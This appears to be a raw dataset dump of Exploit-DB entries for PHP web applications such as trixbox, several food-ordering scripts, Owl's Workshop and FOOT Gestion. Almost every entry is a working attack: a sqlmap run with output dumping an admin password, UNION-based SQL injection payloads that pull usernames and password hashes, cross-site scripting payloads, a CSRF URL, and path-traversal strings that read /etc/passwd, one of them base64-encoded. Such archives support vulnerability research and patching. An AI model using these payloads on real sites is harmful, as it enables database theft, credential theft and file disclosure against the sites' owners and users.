deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32239
Description: Fonality trixbox - SQL Injection
Type: webapps
Platform: php
Date: 2014-03-13
Author: Sc4nX

Exploit:
# Exploit Title: SQL injection in Trixbox All Versions
# Date: 13/03/2014
# Exploit Author: Sc4nX
# Email : Sec744[at]yahoo.com - r1z[at]hackermail.com
# Software Link: http://trixbox.org/downloads
# Tested on: Linux / Win 7

Example : (Grab users / password hashes from ampusers)�

root@sc4nx# python sqlmap.py -u http://localhost/web-meetme/conf_cdr.php?bookId=1 -D asterisk -T ampusers -C username,password --dump --level 4 --risk 4 --no-cast --threads 10

[*] starting at 07:53:52

[07:53:52] [INFO] resuming back-end DBMS 'mysql'
[07:53:52] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: bookId
� � Type: boolean-based blind
� � Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
� � Payload: bookId=1' RLIKE (SELECT (CASE WHEN (2971=2971) THEN 1 ELSE 0x28 END)) AND 'AIdK'='AIdK

� � Type: AND/OR time-based blind
� � Title: MySQL < 5.0.12 AND time-based blind (heavy query)
� � Payload: bookId=1' AND 3086=BENCHMARK(5000000,MD5(0x454a5a64)) AND 'qjLM'='qjLM
---
[07:53:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.2.5
back-end DBMS: MySQL 5
[07:53:52] [INFO] fetching columns 'password, username' for table 'ampusers' in database 'asterisk'
[07:53:52] [INFO] resumed: 2
[07:53:52] [INFO] retrieving the length of query output
[07:53:52] [INFO] resumed: 8
[07:53:52] [INFO] resumed: username
[07:53:52] [INFO] retrieving the length of query output
[07:53:52] [INFO] resumed: 8
[07:53:52] [INFO] resumed: password
[07:53:52] [INFO] fetching entries of column(s) 'password, username' for table 'ampusers' in database 'asterisk'
[07:53:52] [INFO] fetching number of column(s) 'password, username' entries for table 'ampusers' in database 'asterisk'
[07:53:52] [INFO] resumed: 1
[07:53:52] [INFO] retrieving the length of query output
[07:53:52] [INFO] resumed: 8
[07:53:52] [INFO] resumed: passw0rd
[07:53:52] [INFO] retrieving the length of query output
[07:53:52] [INFO] resumed: 5
[07:53:52] [INFO] resumed: admin
[07:53:52] [INFO] analyzing table dump for possible password hashes
Database: asterisk
Table: ampusers
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| admin � �| passw0rd |
+----------+----------+

===================================================================================
GZ : Dr.Hacker (Doksh) - CodeZero - All Memmbers Sec4ever.com�
The End :P
Exploit-DB #11508
Description: Fonality trixbox 2.2.4 - 'PhonecDirectory.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-19
Author: NorSlacker

Exploit:
# Software Link: http://trixbox.org/downloads
# Version: 2.2.4
# Code : 
http://server/cisco/services/PhoneDirectory.php?ID=1 [SQL INJECTION]

Example (Grab users / password hashes from sugarcrm) 
http://server/cisco/services/PhoneDirectory.php?ID=1' UNION SELECT id,user_hash AS 'first_name',last_name,phone_home,user_name AS 'phone_work',user_hash AS 'phone_mobile',phone_other FROM users WHERE 1='1' GROUP BY 'id


PhoneDirectory.php vulnerable code:
# If the variable "ID" is passed in through the GET string, then display
# extension, phone number and cell phone number for that record with the dial
# key functionality
if ($ID) {
 $PersonDirectoryListing = "<CiscoIPPhoneDirectory>\n";

 $Query = "SELECT id, first_name, last_name, phone_home, phone_work, phone_mobile, phone_other ";
 $Query .= "FROM contacts WHERE id = '$ID' ";
 $Query .= "ORDER BY last_name ";
 $SelectPersonInfo = mysql_query($Query,$ConnectionSuccess);

 ...

}

#norslacker [at] gmail [dot] com
Exploit-DB #31061
Description: Fonality trixbox 2.4.2 - Cross-Site Scripting (1)
Type: webapps
Platform: php
Date: 2008-01-25
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27460/info

The 'trixbox' product is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect trixbox 2.4.2.0; earlier versions may also be vulnerable. 

http://www.example.com/user/index.php?"><script>alert('xss')</script>
Exploit-DB #31062
Description: Fonality trixbox 2.4.2 - Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2008-01-25
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27460/info
 
The 'trixbox' product is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect trixbox 2.4.2.0; earlier versions may also be vulnerable. 

http://www.example.com/maint/index.php?"><script>alert('xss')</script>
Exploit-DB #11376
Description: Fonts Site Script - Remote File Disclosure
Type: webapps
Platform: php
Date: 2010-02-09
Author: JIKO

Exploit:
=---------------------------------------------=
=                ,.:oO0^-^0Oo:.,              =
=                      JIKO                   =
=                '':0Oov-voO0:''              =
=---------------------------------------------=
----------------------=JIKO=-------------------
| Autor    :> jiko
| Home     :> WwW.No-Exploit.CoM
| 
| Bug      :> Remote File Disclosure Vulnerability
| Vendor        :> http://www.arwscripts.com
_______________________________________________
=                   JIKI TEAm                 =
_______________________________________________
| Exploit:
.:|http://localhost/[Script]/classes/viewfile.php?f=[file base64 encode ]
~EX
http://server/fontssite/viewfile.php?f=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
base64 encode =>../../../../../../../etc/passwd
Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
| Greetz :
.:|     Cyber-Zone,HxH,Hussin X,sniper code,Stack,HiSoKa, kasper ,skull-hacker The SadHacker
    |No-Exploit.com Members Stack & Gold_M & HaCkeR_EgY  All Member wwW.No-Exploit.CoM
----------------------=JIKO=-------------------
=---------------------------------------------=
=                   JIKI TEAm                 =
=---------------------------------------------=
Exploit-DB #39313
Description: Food Order Portal - 'admin_user_delete.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-09-12
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/69787/info

Food Order Portal is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Food Order Portal 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_user_delete.php?admin_id=[ADMIN ID]
Exploit-DB #43281
Description: Food Order Script 1.0 - 'list?city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Food Order Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/food-order-script-2/
# Demo: http://ordermanagementscript.com/demo/food-order/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
# 
# '++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52))--+-
# 
# http://server/list?city='++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52))--+-&main_search=
# 
# # # # #
Exploit-DB #42482
Description: Food Ordering Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-17
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Food Ordering Script 1.0 - SQL Injection
# Dork: N/A
# Date: 17.08.2017
# Vendor Homepage : http://www.earthtechnology.co.in/our_products.html
# Software Link: https://www.foodorderingscript.com/
# Demo: https://www.foodorderingscript.com/demo-new/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/restaurantDetails.php?resid=[SQL]
# 
# 1'+/*!00600aNd*/(/*!00600SelEcT*/+0x30783331+/*!00600fRoM*/+(/*!00600SelEcT*/+CoUnT(*),/*!00600cOncaT*/((/*!00600SeleCT*/(/*!00600SeleCT*/+/*!00600cOncaT*/(cAST(daTabAsE()+aS+/*!00600cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00600fRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00600wHERE*/+tABLE_sCHEMA=daTabAsE()+lIMIT+0,1),fLooR(/*!00600rAND*/(0)*2))x+/*!00600fRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00600aNd*/+''='
# 
# http://localhost/[PATH]/search1det.php?action=orderFullDetails&orderid=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #42751
Description: Foodspotting Clone 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: 8bitsec

Exploit:
# Exploit Title: Foodspotting Clone v1.0 - SQL Injection/Reflected XSS
# Date: 2017-09-13
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.phpscriptsmall.com/product/foodspotting-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-13

Product & Service Introduction:
===============================
Foodspotting Clone allows you to initiate your very own social networking website that similar appearance as Foodspotting and additional food lover websites.

Technical Details & Description:
================================

Reflected XSS/SQL injection on [resid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/restaurant-menu.php?resid=' AND SLEEP(5) AND 'nhSH'='nhSH

Parameter: resid (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: resid=' AND SLEEP(5) AND 'nhSH'='nhSH

    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: resid=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x435a[PII_REDACTED]7074496d6e5a7855726f6e534c4b[PII_REDACTED]427550576c70676d[PII_REDACTED]42,0x71767a6271),NULL,NULL,NULL-- aIwp

Reflected XSS:

http://localhost/[path]/restaurant-menu.php?resid=/"><svg/onload=alert(/8bitsec/)>
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43285
Description: Foodspotting Clone Script 1.0 - 'quicksearch.php?q' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Foodspotting Clone Script 1.0 - 'q' SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/foodspotting-clone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/quicksearch.php?q=[SQL]
# 
# -1'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+-
# 
# -1'++UNION(SELECT(1),(SELECT+GROUP_CONCAT(a_id,0x3a,username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+admin_login),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+-
# 
# http://server/quicksearch.php?q=-1'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+-
# 
# Parameter: q (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: q=1%' AND 5971=5971 AND '%'='
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: q=1%' AND SLEEP(5) AND '%'='
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 31 columns
#     Payload: q=1%' UNION ALL SELECT NULL,CONCAT(0x[PII_REDACTED],0x4f465861726a486c444f775973474c61656c6143724e785a4c476a[PII_REDACTED]7357426e6a56416d,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- DGFC
# 
# # # # #
Exploit-DB #42661
Description: FoodStar 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FoodStar Swiggy Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/foodstar-swiggy-clone/
# Demo: http://abservetechdemo.com/products/foodstar/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/public/frontend/search?keyword=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #26197
Description: Foojan PHPWeblog - Html Injection
Type: webapps
Platform: php
Date: 2005-08-24
Author: ali202

Exploit:
source: https://www.securityfocus.com/bid/14658/info

Foojan PHPWeblog is prone to an HTML injection vulnerability. This is due to a lack of proper sanitization of user-supplied input.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

in gmain.php:

$Weblog-> query ("INSERT INTO `visits` ( `id` , `ip` , `refferer` , `date` , `time` )VALUES ('', '".$_SERVER['HTTP_USER_AGENT']."', '".$_SERVER['HTTP_REFERER']."', '$num', '$num2');");
Exploit-DB #4968
Description: Foojan Wms 1.0 - 'story' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-23
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                  Foojan WMS 1.0 Remote Sql Injection                        ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.iranscripts.com/download/Foojan-WMS1.0%20Full.rar     #
#                                                                                   #
#Injection Adress :  http://Sitename/index.php?story=[SQL CODE]                     #
#                                                                                   #
#                                                                                   #
#[SQL CODE] : 1%27union/**/select/**/0,concat(0x[PII_REDACTED]3a20,UserName,0x202b[PII_REDACTED]776f7264203a,PassWord),2,3,4,5,6,7,8/**/from/**/authors/*
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Admin Page For Login is ./admin.php                                                 #
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-23]
Exploit-DB #23725
Description: Fool's Workshop Owl's Workshop 1.0 - '/glossaries/index.php?File' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info
   
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
   
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/glossaries/index.php?file=/etc/passwd
Exploit-DB #23723
Description: Fool's Workshop Owl's Workshop 1.0 - 'glossary.php' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info
 
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
 
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #23722
Description: Fool's Workshop Owl's Workshop 1.0 - 'multiplechoice/index.php' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info

Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter. 

Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print
Exploit-DB #23724
Description: Fool's Workshop Owl's Workshop 1.0 - 'newmultiplechoice.php' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info
  
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
  
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #23726
Description: Fool's Workshop Owl's Workshop 1.0 - 'readings/index.php' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info
    
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
    
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/readings/index.php?filename=/etc/passwd
Exploit-DB #23727
Description: Fool's Workshop Owl's Workshop 1.0 - 'resultsignore.php' Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9689/info
     
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
     
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/multiplechoice/resultsignore.php?filename=/etc/passwd
Exploit-DB #38112
Description: FOOT Gestion - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-07
Author: Emmanuel Farcy

Exploit:
source: https://www.securityfocus.com/bid/56862/info

FOOT Gestion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?page=contacter.php&id=-1 union select 1,2--%20
Exploit-DB #35666
Description: Football Website Manager 1.1 - SQL Injection / Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-26
Author: RoAd_KiLlEr

Exploit:
source: https://www.securityfocus.com/bid/47593/info

Football Website Manager is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Football Website Manager 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/profile.php?fileId=[SQL Injection]